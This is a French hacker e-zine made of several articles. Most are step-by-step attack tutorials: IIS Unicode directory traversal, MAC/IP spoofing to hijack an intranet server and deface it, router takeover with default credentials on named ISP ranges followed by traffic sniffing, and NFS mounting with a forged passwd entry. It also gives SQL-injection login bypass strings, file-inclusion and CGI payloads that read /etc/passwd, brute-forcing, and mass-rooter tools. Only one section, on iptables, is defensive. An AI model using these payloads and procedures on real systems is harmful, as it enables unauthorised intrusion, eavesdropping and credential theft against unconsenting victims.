: XXX.XXX.XXX.XXX --> mon IP YYY.YYY.YYY.YYY --> IP du serveur Ici on voit que mon IP XXX.XXX.XXX.XXX, et l´IP du serveur YYY.YYY.YYY.YYY et le code UNICODE-BUG utilisé ici c´est celui du: ..%5c..%5c ! et aprés la commande sera a la suite. Le numero a la suite c´est la reponse du serveur. Dans la premiere ligne on voit que dans la premiere commande on a eu la reponse 404 (fichier introuvable). et aprés notre 200 : request OK ! Pour la securtié de votre IIS vous devriez installer un petit outil appelé UrlScan de M|cr0$0ft. On peut le telecharger d´ici [http://www.microsoft.com/technet/treevie...ols/urlscan.asp] N.B: on doit installer le UrlScan 1.0 ou UrlScan 2.0 pour pouvoir installer les mises a jour et les nouvelles versions tel que UrlScan 2.5. De preference pour une securité un peux plus grande on pourra installer aussi le paquet "IIS Lockdown wizard". Je vous dit quelque chose cher admin de winzowz, je vous conseille d´installer :Apache, Jana Server, thttpd, mathopd, boa, stronghold, IPlanet (netcape enterprise), roxen, zeus, ibm httpd. Ces derniers representent au moins un peu moins de failles et il sont un peu moins faillibles que le IIS, car franchement le IIS c´est une catastrophe. Alors c´est deja la fin, c´etait une petite redaction sur la securité du IIS !! Pour plus de securité , il vaut mieux ne pas l´installer des le debut :p . *********************************************** * 1st hack -= Underhack =- * *********************************************** dans ce tuto on va présenter une méthode qui fonctionnera dans la plus part des cas dans les réseaux internes (exemples: societe, fac, ...) l'attaque va porter sur un site intranet et commencer ainsi ta carrière de hacker :p :p pour commencer il te faut un minimum de connaissance (c'est quoi une @mac, une @ip ...) si vous n'avez aucune idée de quoi je parle vaut mieux que tu t'interesses à autre chose tel que le sport ou la 5/5 technique ========== Le spooffing: le spoof est une technique qui vous permet d'userper une fausse identité sur le réseau, généralement utilisé pour avoir un privilège superieur, ou passer au delà des ACLs d'un firewall. dans notre cas on s'interessera à l'identité du serveur Intranet; pour userper l'identité de ce dernier on réalise un ti ping sur l'@ du serveur (exemple: 'ping intranet'), on aura ainsi l'@ ip il ne nous reste que determiner l'@ mac pour ce ci on utilise la commande "arp -a" on aura quelque chose de ce type: cmd>\ ping intranet Envoi d'une requête 'ping' sur intranet [10.0.0.254] avec 32 octets de données ------------ Réponse de 10.0.0.254: octets=32 temps=88 ms TTL=243 Réponse de 10.0.0.254: octets=32 temps=74 ms TTL=243 Réponse de 10.0.0.254: octets=32 temps=74 ms TTL=243 Réponse de 10.0.0.254: octets=32 temps=74 ms TTL=243 Statistiques Ping pour 10.0.0.254: Paquets: envoyés = 4, reçus = 4, perdus = 0 (perte 0%), Durée approximative des boucles en millisecondes : Minimum = 74ms, Maximum = 88ms, Moyenne = 81ms pi cmd>\ arp -a Interface: 10.0.0.1 --- 0x10003 Adresse Internet Adresse physique Type 10.0.0.254 00-14-22-77-5b-7a dynamique ----------------- donc voila on a ainsi les deux @ pour l'identification de la machine. On commence manant la partie la plus interessante !! enlevez les tirés des l'@ mac de facon que se soit une suite de chiffres: 00-14-22-77-5b-7a --> 001422775b7a pi clic droit sur l'icone "Favoris réseau" pi "proprieté" aprés clic droit sur "Connexion au réseau local" et de nouveau "proprieté" aprés c'est "configurer" et "avancé" dans la liste choisissez "Network address" sélectionnez "valeur" et introduisez l'@ mac (sans les tirés) enfin changer votre @ ip pour l'@ du serveur *///////////////////////////// if(brain!=understand) { goto line (6); cout <<"ur dunky"; } //////////////////////////* pour ceux qui me suivent: il ne vous reste plus qu'a installer IIS (si vous savez comment c parfait sinon google est là !!) et hebergez votre page personelle et qu'elle soit sombre avec plein de tete de mort et en rouge HACKED BY ton_pseudo. ainsi toute personne voulant acceder au site intranet sera rederiger par le switch vers vous !!!!!!! et tout le monde verra ta page :p PS: apres avoir terminer n oublie pas de faire la commande suivante sinon rien ne marchera: cmd>\ping -t 193.95.66.10 voila tu peux demander une augmentation de salaire à ton boss puisque t'es un grand hacker :ppppp ************************************************************************** * Introduction sur les firewall en gros sur IPTABLES -= BlacKr0ot =- * ************************************************************************** 1/ Definition et but d´un firewall 2/ Petite explication sur les ipfwadm & iptables & ipchains + compilation du kernel 3/ Enregistrement iptables/ipchains 4/ Difference entre iptables/ipchains 5/ Possiblité du filtrage des packets (en therorie) 1/ Definition et but d´un firewall : Un firewall est un systeme secure entre un systeme de reseaux interne et un autre externe (internet). Selon des conditions il sera determiné ou et vers ou et si la circulation et le transfert de données et de requetes sera permis ou non, ou si les demandes et circulation de données devront etre totalement filtred et annulées :( . La tache principale d´un Firewall est le bloquage de transfert de fichiers qui peuvent etre dangereux et le test des données et fichiers qui sont en circulation entre les deux PCs. aussi le masquage et filtrage est une tache tres importante du FW. Plusieurs adresses IP seront dans un groupe d´IP publiques ou externes (dans la plupart des cas). Pour des raisons de prix, et pour des raisons de securité, notre reseau ne sera pas trop caché et tout passera par notre firewall . Il existe deux type de firewall (en forme de software et hardware). Alors pour des raisons de prix on choisit dans la plupart des cas un firewall sous forme de soft . Alors puisque tout le trafic passe par notre FW, on devra faire une simple et petite ligne de securité :) . Pour pouvoir construire un reseau virtuel, un forwarding-port sera fait en premier :/ . 2/ Petite explication sur les ipfwadm & iptables & ipchains + compilation du kernel: On utilisait les les ip-FW et masquage depuis longtemps. Dans un L|nuX ses programmes sont en relation et dependent du Kernel. L|nuX est basé sur un kernel comme vous savez. c´est le noyau, le coeur :). Sans le kernel rien ne marche ! Chaque Kernel a un numero ou une reference car en linux aussi ya beaucoup de failles dans le kernel (possibité de rooting de la machine par une faille dans le kernel). Alors pour les kernels : kernel 2.0.* --> avait ipfwadm kernel 2.2.* --> ipchains kernel 2.4.* --> iptables Si le firewall n´est pas installé ou n´est pas pris en compte dans le kernel comme dans des anciennes distrib alors , on devra utiliser le "make config" et ils devront etre compilés ! c´est pas notre sujet maintenant , je passe a autre chose . Kernel 2.0.* : je vais pas parler de ca car c´est presque plus utilisable. kernel 2.2.* : "Network Firewall" "TCP/IP networking" "IP:firewalling" "IP:transparant proxy support" "IP:masquerading" "ICMP masquerading" Kernel 2.4.* : "Network packet filtering (replaces ipchains)" "IPtables support (required for filtering/masq/NAT)" "Packet filtering" il existe encore d´autres target-module et Muster-module qui pourront etre compilés et ajoutés. 3/ Enregistrement iptables/ipchains: Quand les regles et conditions pour ipchains sont mises et determinés, vous pourrez enregistrer ca avec la commande ipchains-save. Pour restaurer les entrées vous pouvez le faire avec ipchains-restore aprés un redemarrage . Le meme est valable pour iptables avec iptables-save && iptables-restore. 4/ Difference entre iptables/ipchains : iptables est compatible coté defense comme le ipchains. Installable par netfilter. iptables sont presque comme les ipchains mais il sont plus avancés et plus forts coté defense et protection. 5/ Possiblité du filtrage des packets (en therorie): Pour le filtrage je vous conseille ces possibilités : * Reconnaissance de fausse adresses ** Interface externe *** Adresse LAN : Privat Class A 10.0.0.0-10.255.255.255 Privat Class B 172.16.0.0-172.31.255.255 Privat Class C 192.168.0.0-192.168.255.255 *** Broadcast : 0.0.0.0 255.255.255.255 ** Interface interne comme externe : *** Class A (Null - Network) 0.0.0.0-0.255.255.255 *** Local-Link 169.254.0.0-169.254.255.255 *** Testnet (juste pour le test) 192.0.2.0-192.0.2.255 *** Class D (Multicast-Adress) 224.0.0.0-239.255.255.255 *** Class E 240.0.0.0-247.255.255.255 *** Loopback 127.0.0.0-127.255.255.255 (mieux que localhost=127.0.0.1) *** Adresse propre L´adresse de l´interface interne ne doit pas apparaitre pour l´externe et le contraire est aussi insouhaitable. * Petit Scan secret (Stealth Scan) ** TCP 3 SYN, ACK, RST, FIN ... sont des significations SYN = Constructeur de connection ACK = Verificateur RST = Reset (coupure de connection) ___________ ______________ ___________ | | | | | | | SYN | ------> | SYN - ACK | ------> | SYN | ------> ... ------> ... |__________| |_____________| |__________| Attaquant: SYN victime: SYN,ACK Attaquant: RST une TCP normalement sera comme ca : CLIENT: SYN SERVER: SYN,ACK CLIENT: SYN SYN, ACK, RST, FIN ... sont des significations SYN = Constructeur de connection ACK = Verificateur RST = Reset (coupure de connection) ___________ ______________ ___________ | | | | | | | SYN | ------> | SYN - ACK | ------> | RST | |__________| |_____________| |__________| A cause de la RST qui sera en avance de temps il n´y aura pas une connection TCP complete. Avec ce RST on aura presque un arret de l´IP qui pourra arreter le prochain port-scanning. il sera aussi utile de bloquer juste les ports ou il ya un gros risque d´attaque comme BIND, FTP, ... ** Autres Stealth scan *** SYN FIN en meme temps 'SYN,FIN SYN,FIN' *** FIN RST en meme temps 'FIN,RST FIN,RST' *** FIN sans ACK 'ACK,FIN FIN' * ICMP UNREACHABLE ICMP est un ping. celui la pourra etre bloqué. L´avantage de ca c´est que quand on fait un scan rapid et grand du HOST qui est registred comme etant DOWN , sera un peu caché. Mais malgré tout on pourra determiner et connaitre les filtres par des techniques de scan (lire le H3lp de nmap :p ) * Policy C´est le comportement du filtre de packet d´un firewall contre un packet d´une IP qui ne convient avec aucune regle ou condition mise par l´admin. ** Extern Interface Policy Tous les packets qui ne sont pas permis ne seront pas acceptés :/ . Pour cela il existe deux manieres : -soit la maniere DROP dans laquelle le packet sera tout simplement ignoré -soit la maniere REJECT dans laquel le serveur redonne une reponse a la request avec une erreur par exemple. Dans la plupart des cas, la maniere DROP sera conseillée car il yaura moins de traffic E/S et moins de reponses, car les reponses pourrant etre utilisées pour une autre tentative (comme le log error de madchat :) ). ** Intern Interface Policy Pour les debutants il vaudrait mieux tout mettre sous ACCEPT. Pour les avancés on pourra aussi mettre quelques options sous DROP ou REJECT. * Rejection des resources des routed-packed * Logs Pour les logs on pourra logger tous les packets qui sont notés dangereux (stealth scan, source routing, fausses adresses). * limit On pourra pour plus de protection mettre la LIMITS sous 5pings par minute par exemple. comme ca l´IP ou le user qui fera plus de 5 pings/minute sera rejected :& mais 5pings/minute n´ont jamais fait de mal a un serveur . Alors ca sera mieux de mettre la limite un peu plus grande :) to be continued (BlacKr0ot). ******************************************************* * routers / sniffing -= Dimetra =- * ******************************************************* Intro: Plop, Dans cet artcitle je vais parler d'un sujet qui pourra être utile a connaitre. En d'autres termes avec cet article je vais essayer de demontrer que votre navigation sur le net ne tient qu'a un seul fil. Certains d'entre nous utilisent des routers, certains comme moi etaient obligés de l'acheter question d'incompatibilité du modem qu'on nous donne avec nux (sympa :/). Les routers qu'on nous donne en tunisie sont en general des routers Mt800. On va s'interesser a ces routers en passant par les epics :). Un router?: http://www.google.com/search?hl=fr&hs=Fke&client=firefox-a&rls=org.mozilla:fr-FR:official_s&q=un+routeur%3F&spell=1 Begin: Le router est placé comme si dessous : ************ ************ * * * * * machine * ----> router ---> * Internet * * * * * ************ ************ Par ce schema on peut comprendre tt simplement que le router est placé devant le pc (enfin..) C'est en quelques sortes la clé de votre acces à internet. Logiquement le router doit profiter d'un minimum de securité, ce qui n'est pas le cas pour 80 % (des cas). Je vais prendre en exemple comme dit precedemment les mt800 et les epics. *Je remercie mwesto pour les epics (biz!)* *epicrouter's* Les plages utilisant ces routers sont 81.247.1.1 à 81.247.253.253 ceci dit dans votre scan il se peut que vous trouviez des routers viking etc... c'est pas si grave ;). Si vous etes sous win demarrer>>executer>>cmd sous nux terminal ou si vous avez des clients telnet ça depend de vous. Telnet 81.247.*.* (vous n'allez pas tapez les '*' ^^ voyons.) Vous avez devant vous : password? le petit prob c'est que la majorité des utilisateur ne change pas leurs pass par defaut pour les epic c'est epicrouter :)). *viking* Pour les router viking login: root pass: root *les mt800* Nous voila ici pour les router utilisé chez moi :D les plages a scanner 196.fai.*.* (le fai depend du fai :)). P.S: tt les fournisseurs utilisent les mêmes router ce qui facilitera enormement la tâche. Telnet 196.yourvictime! login? pass? les logins pass par defaut sont: login: admin pass: admin <-------- sympa NON ? :))) maintenant nous allons ouvrir not' navigateur. dans la barre d'adresse on va mettre : ip de la vicitme et hop on nous demande login pass. Bien sure c'est les même que ceux de telnet :O :p. omg! devant vous les dns le login pass tt quoi. Sur 100 utilisateur d'adsl 1 seulement a changé ces pass même pas 1 je vous assure, alors allons zy au scan! Tout simpelent avec ce petit truc qu'on vient de faire on a demontré ce que nos fai nous offrent pour 150D les 3 mois pour la 128k :@! Comme on a eu l'acces au routeur de la cible on va essayer de detourner quelques zentils paquets ;)). SNIFFING: ********* Bon dans cette partie on va voir comment intercepter ainsi que comment viusaliser les paquets reçus par la cible. Pour cela je vous conseille ethereal deja inclu sous auditor. Pour win le premier lien dans google :p Teleharger ethereal. Bon revenons un peu au debut. on a acces au router de la cible dans le navig 196.*.*.* login pass etc... allez dans Access Control List et faites add a votre ip. Des paquets vont passer par votre super becan. On va configurer ethereal de facon a intercepter les paquets. Vous avez 2 solutions. Soit allez directement dans capture option >> cochez update paquet list in real time, enlevez enamble mac name resolution. et faites start. sinon pour etre plus clair faites option>> capture file >> dans filter name mettez ce que vous voulez , dans filter string mettez "host 196.*.*.*" ne mettez pas des "*"!!!!!!!!!!! :D double click sur votre filtre. et capture start et voila devant vous les paquets in real time :OO :p . c mieux que le ciné ça (mdr! clair). bon en bas de ethereal vous zavé une tite description du paquet bla bla pour filtrer faites click droit sur le paquet et follow tcp stream et hop :) tt en clair. ZE END: j'espere tt simplement que j'étais clair. -------------------------*****--------------------- Enjoy! Outro: @ une tres chere personne dont je tairai le nom. @ tous les membres de chez elbo. @ s-dante. @ *eVD* special thx to : blackr0ot and [mr-fx] tt ceux que j'ai oubliés. Etat esprit mort sache que chacun combat avec ses moyens (private joke) End./. ******************************************************* * Hacking under L|nuX (part1) -= BlacKr0ot =- * ******************************************************* 1/ Introduction : Bonjour, bon dans cet article , je vais vous parler des bases de hacking sous linux ! et bah je croi que vous avez entendu au moins mille fois que linux c´est pour les hackers, tous les hackers utilisent le linux, chacun qui a un linux est un hacker !! ehhh ba je vous dit vous vous trompez :) j´ai un linux et je suis pas un hacker :] c´est peut etre vrai que les hackers utilisent linux, c´est premierement plus facile a utiliser cote c0dinG, plus stable, vous pouvez coder vos propres exploits (on n´ est pas encore arrivés a ce stade mais un jour peut etre :D ). Vous pouvez connaitre les autres raisons, tout simplement en allant www.google.fr et tapez : linux + hacker ... :P Alors dans cet article on va voir comment hacker un serveur distant under linux. 2/ Matos : Pour cet article vous pouvez jeter winzowz de cote :O alors : * LinuX ou du moin un shell (avec un acces root car sans root on aura pas acces a des commandes genre showmount ... vous verrez ca un peu plus bas ..) * Une cervelle * Beaucoup de temps libre :) 3/ Avoir l´ acces : Ici ca devient un peu plus important que du blablabla ecrit un peu plus haut :P alors : il existe deux solutions : Soit essayer de faire ca depuis son propre linux, en sachant qu´il est possible au cas de probleme de recuperer votre IP et ensuite vous recuperer, et vous passerez votre vie dans une cellule (comme l´histoire de DAVID post´e dans le site de c0rsan team :P allez jetez un coup d´ oeil :) ). ou bien avoir un root sur un shell depuis lequel vous feriez les commandes et ce qui va suivre :) a vous de choisir .. Pour ma demonstration : j´ai fait ca sur mon PC. c´est juste une demonstration !! les urls et les IPs ne sont pas valides :! bon commencant : je vais essayer de vous montrer pourquoi l´acces root est important dans notre cas : BlacKb0x:~ # su blackr0ot blackr0ot@BlacKb0x:/root> find / -name showmount find: cannot get current directory: Permission denied blackr0ot@BlacKb0x:/root> cd .. blackr0ot@BlacKb0x:/> find / -name showmount find: /etc/ssl/private: Permission denied find: /etc/cups/ssl: Permission denied find: /etc/cups/certs: Permission denied find: /etc/news: Permission denied find: /etc/skel/Documents: Permission denied find: /etc/uucp: Permission denied find: /etc/sysconfig/network/providers: Permission denied find: /etc/autoinstall: Permission denied find: /etc/apache2/ssl.key: Permission denied find: /etc/subdomain.d/abstractions: Permission denied find: /etc/subdomain.d/program-chunks: Permission denied j´ai fait ctrl - c car ca va durer 3 min avec une liste de 3000 denied :) avec un root : BlacKb0x:~ # find / -name showmount /usr/sbin/showmount BlacKb0x:~ # c´ est bon, on va essayer un truc : BlacKb0x:~ # /usr/sbin/showmount -e magattack.net maintenant il ya deux cas : * Soit vous avez une reponse genre : RPC : Program not registred alors oublier le magattack.net et essayer un autre ! * Soit vous aurez une reponse genre : BlacKb0x:~ # /usr/sbin/showmount -e magattack.net /usr-1 magattack.net /usr-2 magattack.com /home (everyone) /home-2 magattack.info /cdrom (everyone) /floppy (everyone) alors une seule ligne nous interesse : c´ est la ligne 3 : /home (everyone), faites une traduction de everyone, ca veut dire pour tout le monde :) :P alors on pourra aussi avoir un acces sur le home-1 allez telephoner a tous vos potes en disant que vous avez presque fait votre premier hack under linux :) etape suivante : BlacKb0x:~ # mkdir /tmp/test BlacKb0x:~ # mount -t nfs magattack.net:/home /tmp/test BlacKb0x:~ # ls -la /tmp/test total 6 drwxr-xr-x 23 root root 1024 Dez 544 23:21 ./ drwxr-xr-x 23 root root 1024 Okt 544 10:35 ../ drwxr-xr-x 3 qwe users 1024 Dez 22 23:21 qwe/ drwxr-xr-x 3 tun users 1024 Dez 21 12:26 tun/ -rw------- 1 root root 1024 Jan 5 12:26 sudoers drwx------ 32 102 100 1024 Jan 5 17:09 user1 On va essayer de passer par l´acces de user1 . BlacKb0x:~ # whoami root BlacKb0x:~ # id uid=0(root) gid=0(root) groups=100(users) Bon ok , on va editer maintenant notre fichier passwd et ajouter un user1 : on va a notre /etc/passwd, on l´edite : on ajoute cette ligne : user1::102:2::/tmp/test:/bin/sh soit en l´editant manuellement en faisant : BlacKb0x:~ # vi /etc/passwd ou bien avec un autre editeur pico par exemple . ou bien avec une commande : BlacKb0x:~ # echo "user1::102:2::/tmp/test:/bin/sh" >> /etc/passwd et maintenant : BlacKb0x:~ # su user1 magattack:~> ls -la /tmp/test total 6 drwxr-xr-x 23 root root 1024 Dez 544 23:21 ./ drwxr-xr-x 23 root root 1024 Okt 544 10:35 ../ drwxr-xr-x 3 qwe users 1024 Dez 22 23:21 qwe/ drwxr-xr-x 3 tun users 1024 Dez 21 12:26 tun/ -rw------- 1 root root 1024 Jan 5 12:26 sudoers drwx------ 32 user1 daemon 1024 Jan 5 17:09 user1 magattack:~> ls user1 * * * a vous de deviner quesqu´ il ya dans la liste .. :] un petit chmod ou chown vous sera util (chown --help && chmod --help au cas ou vous savez pas de quoi je parle :P) Si vous etes un peu inteligent vous pourrez remarquer la difference des deux resultats obtenus apres le ls -la :) NON ? pas la peine, deux solutions : * relire l´ article ! * ou bien oublier le linux :) cette methode est un peu connue alors si vous voulez vraiment la tester essayez sur les anciens sites genre www.mezwed.com ou www.fuck-this-shit.net ya aussi une maniere plus facile de rooter : celle utilisées par les hackers de nos jours :P * Matos : internet * Etape : 1/ google.com : scanner ssh 2/ lancez votre scanner et metter n ´importe quel plage IP (attention vous devez etre un PRO pour faire ca) 3/ vous devez entrer un login et pass par default pour l´ essai, login : admin pass : admin 4/ vous avez au moin 2 hosts 5/ vous vous connectez , c´est difficile de se connecter a un host 6/ avoir quelques infos : par exemple uname -a et quelques truc genre lsof -i port:tcp pour savoir quel deamon est fait pour ce port, car par exemple pour le 25, il ya beaucoup de deamon a utiliser par exemple : exim, sendmail, postfix ... 7/ encore une fois google : exploit for blablabla 8/ vous avez un root, vous etes un vrai hacker .. cette methode est beaucoup utilisee par nos hackers, les dieux de l´undergound, les maitres de la scene !! alors vive le HACK (putain).. Pour une liste de pass login default: aller voir warez.tn et attendez un special member!! il jetera un host, login:root, pass:redhat ou login:admin pass:default Des hosts de ce genre quoi ! chez moi ca na jamais marché ce truc !! ou bien j´ai pas de chance ou bien il est trop chanceux !! Question a resoudre !! Dans le prochain article on parlera du Level 2 :) peux etre celui de comment executer un exploit :P. To be continued. By BlacKr0ot ******************************************************************** * Hacker des serveurs et des root facilement -= Fireboy =- * ******************************************************************** Comment hacker des serveurs et avoir des root facilement?? ca c'est la question du jour :) alors je vais vous montrer quelques tricks facile a tester. l'arme principale est comme d'habitude google :) I)les sql injections: etapes a suivre: 1)search in google "login" "pass" "admin.php" "login.php".... en realite on cherche toutes les pages ou on peut faire login. 2)dans la page identification on va tester (ne jamais oublier) les comptes test:test admin admin 3)on teste avec les variables login=1'or'1'='1 pass=1'or'1'='1 et login=' OR ''=' pass=' OR ''=' ( les sql injections tres connues) 4)dans 60% des cas vous serez logged in en tant que admin 5)dans tous les cas (forum,guestbook,portail...) on va chercher la page de configuration ou profil admin (en etant logged biensure) 6)on picke le login/pass de l'admin soit crypte md5(il ya le MD5cracker pour ca) soit en plaintext 7)on test alors le login/pass sur ftp/ssh (login:root pass:celui de l'admin ) 8)dans 40% des cas vous aurez votre shell II)les failles includes php et failles cgi: etapes a suivre: le but de cet methode est de recuperer le fichier /etc/passwd de la victime pour ca il ya 10000000 exploits tel que les failles includes php: "*.php?file=/etc/passwd" "*.php?page=/etc/passwd" "*.php?url=/etc/passwd" "*.php?x=/etc/passwd" "*.php?etc=/etc/passwd" failles cgi : "*.cgi?print=/etc/passwd" "*.cgi?|cat /etc/passwd" etc etc.... il suffit juste de chercher dans les forums et news des sites de securite... maintenant on suppose qu'on a choppé le /etc/passwd de notre victime 2 methodes sont a notres disposition 1)le combo passwd cracking: on va extraire les logins de la passwd list et on fait une list combo c a d: root:root john:john user:user il en existe beaucoup de scripts pour faire ca maintenant on a la combo liste prete alors on utilise notre ami brutus ( www.hoobie.net) :) sur ftp ou pop3 ou telnet. dans 60% des cas on a un resultat :) 2)le user bruteforcing: dans ce cas on va extraire les logins seulement de la passwd list (cut -f 1 -d : fichier /etc/passwd >new list) on a maintenant la liste des users alors comme toujours on met la liste login dans brutus et on va utiliser une wordlist pour les passwd on lance le brutforcing 1 a 2 heures on a 40% de chance d'avoir notre shell :) III)les mass rooter: on va utiliser dans ce cas un massrooter par exemple ssh mass rooter ou ssl massrooter on lance notre scanner from le shell et on attend le resultat car c'est le massrooter qui hack pour nous :) c facile mais efficace exemples: skara ssh scanner atd openssl scanner luckstatdx pour le statd massrooter final pour ftp,lpd,bind .... 7350Wurm pour le Wuftpd 2.6.0 et 2.6.1 IV)la methode de hack des gros serveurs et mainframes :) google "inurl :/~test/" inurl :/~netpriv" inurl :/~test inurl :/~mailman" etc ..... le "~test" c'est le nom du user sur le serveur et normalement dans 70% le serveur devra etre un AIX/HP-UX/ULTRIX/DIGITAL/UNIX donc un gros serveur. maintenant supposons que wwww.victim.com/~manager/ existe sur le serveur on va faire dans google "site:wwww.victim.com/" google retourne tous les liens de ce site et on aura tous les users qui ont des comptes sur le systeme exemple : wwww.victim.com/~manager wwww.victim.com/~demos wwww.victim.com/~joshua wwww.victim.com/~kevin maintenat on va recuperer tous les user dans un fichier et comme d'habitude on met cette liste dans brutus avec une wordlist et dans 65% des cas on aura des shells sur ces gros systemes :) c'est tout pour cette fois :) greetz to ALL MAGATTACK TEAM to be continued :) ******************************************************************************************* * C-O-N-C-L-U-S-I-O-N------R-E-M-E-R-C-I-E-M-E-N-T-----O-U-T-R-O -= MaGaTTacK =- * ******************************************************************************************* Bon on a une bonne et une mauvaise nouvelle !! 1/ la mauvaise nouvelle : Le MaGZinE #1 est fini, c´est deja la fin . On espére que la Ezine vous a plu, que vous avez retenu quelque chose , que vous avez appris quelque chose . les gas circuler l´info !! :) 2/ la bonne nouvelle : Pour la troisieme fois on ecrit maGZine #1, vous voyez le petit #1 a la fin. et oui vous devez pas etre un einstein pour reconnaitre que c´est le premier Zine mais c´est pas le dernier !! Les prochaines editions seront surement plus riches, plus longues, ... pfffff vous avez marre de cette Outro . :p ok !! thx and Greetz to all MaGaTTacK members, all tunisian Underground members :) comme ca on peut oublier personne . BiG Thx. A la prochaine .. ,----------------, ,---------, ,-----------------------, ," ,"| ," ,"| ," ," | +-----------------------+ | ," ," | | .-----------------. | | +---------+ | | | | | | | -==----'| | | | MaGaTTacK | | | | | | | | Ze End | | |/----|`---= | | | | Exit | | | ,/|==== ooo | ; | |Connection closed| | | // |(((( [33]| ," | `-----------------' |," .;'| |(((( | ," +-----------------------+ ;; | | |," /_)______________(_/ //' | +---------+ ___________________________/___ `, / oooooooooooooooo .o. oooo /, \,"----------- / ==ooooooooooooooo==.o. ooo= // ,`\--{)B ," /_==__==========__==_ooo__ooo=_/' /___________," `-----------------------------' finished #1 connection closed visit us http://www.magattack.net dalnet : #warez.tn mail us : webmaster@magattack.net ************************************************************************************************************************** Copyleft MAGaTTaCk **************************************************************************************************************************